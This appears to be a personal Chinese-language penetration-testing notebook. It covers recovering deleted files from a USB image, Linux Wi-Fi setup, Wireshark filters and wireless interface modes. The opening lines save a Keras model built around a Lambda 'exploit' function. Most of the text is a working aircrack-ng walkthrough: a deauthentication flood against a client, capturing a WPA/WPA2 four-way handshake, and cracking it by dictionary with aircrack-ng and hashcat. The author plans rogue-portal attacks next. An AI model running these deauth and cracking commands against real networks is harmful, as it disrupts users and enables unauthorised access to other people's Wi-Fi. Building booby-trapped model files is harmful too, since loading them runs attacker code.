model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("wacky.h5")

usb方向利用

linux抓取挂载usb所有信息

进入系统利用mount查看挂载设备

mount
检查这个分区/dev/sdb
#举例如下
/dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered)

分区简介

/dev/sda	第一块硬盘（整块）	比如内置系统盘
/dev/sda1	sda 的第一个分区	/ 可能就在这个分区
/dev/sdb	第二块硬盘（整块）	比如插入的 U 盘
/dev/sdb1	sdb 的第一个分区	通常是 U 盘的可见分区
/dev/sdc2	第三块硬盘的第二个分区	例如移动硬盘

利用dd将这个分区原始数据全部抓取并生成镜像

sudo dd if=/dev/sdb of=usb.img bs=4M

#sudo	以管理员权限运行，因为访问 /dev/sdb（块设备）需要 root 权限。
#dd	名字来源是 “Data Description”（数据描述），是 Unix 系统的一个复制工具。
#if=/dev/sdb	if 是 input file 的意思，这里指从 整块磁盘 读数据（原始块级别）。
#of=usb.img	of 是 output file 的意思，表示把数据写入这个文件中。
#bs=4M	块大小（block size），每次复制 4MB，提高效率。默认是 512 字节，太慢。

将生成的usb.img抓取到本地linux并加载

sudo losetup -fP usb.img
#该命令将 usb.img 映射为一个 loop 设备（如 /dev/loop0），并自动处理其中的分区信息（如 /dev/loop0p1

之后就可以利用了，比如自动分配信息为如下

└─$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0    7:0    0   10M  0 loop 
sda      8:0    0 80.1G  0 disk 
└─sda1   8:1    0 80.1G  0 part /

挂载并当目录利用

sudo mkdir -p /mnt/usbimg
sudo mount /dev/loop0 /mnt/usbimg

恢复此u盘所有删除信息

sudo extundelete /dev/loop0p1 --restore-all

wifi无线相关

linux连接wifi相关

查看无线网卡状态

iwconfig

激活网卡

sudo ip link set wlan0 up

查看网卡真实强度

sudo cat /sys/kernel/debug/ieee80211/phy*/mt76/txpower_sku | grep tmac

查看wifi列表

nmcli dev wifi list
or
iwlist wlan0 scan |  grep 'Cell\|Quality\|ESSID\|IEEE'

连接wifi

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0

查看当前连接

nmcli con show --active

断开连接并删除记录

nmcli con down id "SSID"

nmcli con delete id "SSID"

注意，如果我们不删除记录，可能在再次连接wifi的时候出现无法找到加密报错

Error: 802-11-wireless-security.key-mgmt: property is missing.

出现这种报错直接删除此wifi记录，或者手动指定加密方式(我给出的示例是wpa2)

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0 wifi-sec.key-mgmt wpa-psk

wireshark分析管理帧

查找来自ap的接入帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)

查找来自ap的探测请求帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)

查找来自ap的探测响应帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)

查找客户端和接入点之间的身份验证过程

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)

查找请求后的关联请求

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)

查找请求后的关联响应

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)

如果网络使用wpa2，可以使用EAPOL查看握手帧

eapol

查看取消关联帧或者身份验证帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 12) or (wlan.fc.type_subtype == 10)

网卡模式切换以及选定

托管模式(Managed)

最常见的形态，允许我们连接ap点进行无线连接

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode managed
sudo ifconfig wlan0 up

临时模式（Ad-hoc）

一般用于去中心化的连接，也就是点对点的连接，用于住宅内部自设系统

大部分情况下这是两个桥接在一起的接口，所以需要指定桥接对象

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode ad-hoc
sudo iwconfig wlan0 essid wackymaker
sudo ifconfig wlan0 up

中心模式（master）

这种模式，我们会成为一个ap点，所以不能简单的利用iwconfig进行设置，需要配置所谓的管理守护模式

wackymaker@kali[/kali]$ nano open.conf

interface=wlan0
driver=nl80211
ssid=Hello-World
channel=2
hw_mode=g

可以利用如下命令启动

sudo hostapd open.conf

节点模式（mesh）

设置节点模式

sudo iw dev wlan0 set type mesh

监听模式（Monitor）

我们wifi渗透测试最常用的节点，用于监听整个无线环境的连接，也能用来抓取连接包

sudo ifconfig wlan0 down
sudo iw wlan0 set monitor control
sudo ifconfig wlan0 up

或者

sudo ip link set wlan0 down #关闭网卡
sudo iw dev wlan0 set type monitor #将网卡设置为监听模式
or
sudo iw dev wlan0 set type managed #将网卡设置为普通模式
sudo ip link set wlan0 up #启动网卡
iwconfig wlan0 #查看当前网卡模式

aircrack-ng套件使用

arimon-ng(快捷监控)

开启监听或者关闭

sudo airmon-ng start $网卡
sudo airmon-ng stop $网卡0mon

检查干扰进程

sudo airmon-ng check

杀掉全部干扰进程

sudo airmon-ng check kill

注意，这会使我们的网卡回归使可能会被锁定，不得使用托管功能，使用如下命令检查

sudo rfkill list all

如果被锁定，使用如下命令解封

sudo rfkill unblock wifi

Airodump-ng(数据包捕获)

输出截获所有数据情况

sudo airodump-ng wlan0mon

可选过滤参数

--bssid 34:29:12:A6:BA:48 #由mac地址筛选ap
--channel 或者 -c $number #由信道筛选ap
--essid "wifi名称" #由wifi名称筛选ap

截获5g数据

sudo airodump-ng wlan0mon --band a

a代表5g，b代表11兆限速的2.4g，g代表54兆限速的2.4g

所以想筛选全也可以

sudo airodump-ng wlan0mon --band abg

导出

airodump-ng wlan0mon --write wackymaker

会在当前目录生成
wackymaker-01.cap  
wackymaker-01.csv
wackymaker.kismet.csv
wackymaker.kismet.netxml
wackymaker.log.csv

Airgraph-ng(无线拓扑图)

生成客户端与ap关系图CAPR,生成的图片会可视化当前的ap和客户端连接情况

sudo airgraph-ng -i wacky-01.csv -g CAPR -o CAPR.png

还可以生成通用探针图CPG生成的图片会可视化当前ap和所有客户端的联系，包括并没有接入或者准备接入网络的客户端

sudo airgraph-ng -i wacky-01.csv -g CPG -o CAPR.png

Aireplay-ng（数据包注入）

测试当前网卡是否允许注入

sudo aireplay-ng --test wlan0mon

看到回显
Injection is working!
即可

洪水攻击(取消身份验证攻击)

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00：14：6C：7A：41：81 是接入点的 MAC 地址
-c 00：0F：B5：32：31：31 是要取消身份验证的客户端的 MAC 地址;如果省略，则连接的所有客户端都会被攻击

劫持四次握手爆破wpa/wpa2密码

调整到监听，开始抓包

sudo airmon-ng start
sudo airodump wlan0mon

找到存在客户端的wifi目标，利用–bssid以及-c筛选出来，启用-w保存抓包

sudo airodump wlan0mon --bssid "$目标wifi的bssid“ -c "$目标信道" -w $保存名称

抓包同时，另起窗口对此ap发动取消认证攻击

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00：14：6C：7A：41：81 是接入点的 MAC 地址
-c 00：0F：B5：32：31：31 是要取消身份验证的客户端的 MAC 地址;如果省略，则连接的所有客户端都会被攻击

只要看到抓包中notes字段出现EAPOL，则证明已经捕获4次握手，等待一分钟后断开抓包

我们得到的$名称-01.cap就是有价值的流量包

aircrach-ng爆破(使用cpu)

aircrack-ng test6-01.cap -w wifi_passlist_geo.txt

hashcat爆破(gpu爆破)

先转去以下网站转换hash

https://hashcat.net/cap2hashcat/

转换完毕的文件如下爆破

hashcat -m 22000 hash.file -w dic.txt

总结，实际操作后发现现实并不好攻击，字典量所需太大，后续恶意门户会研究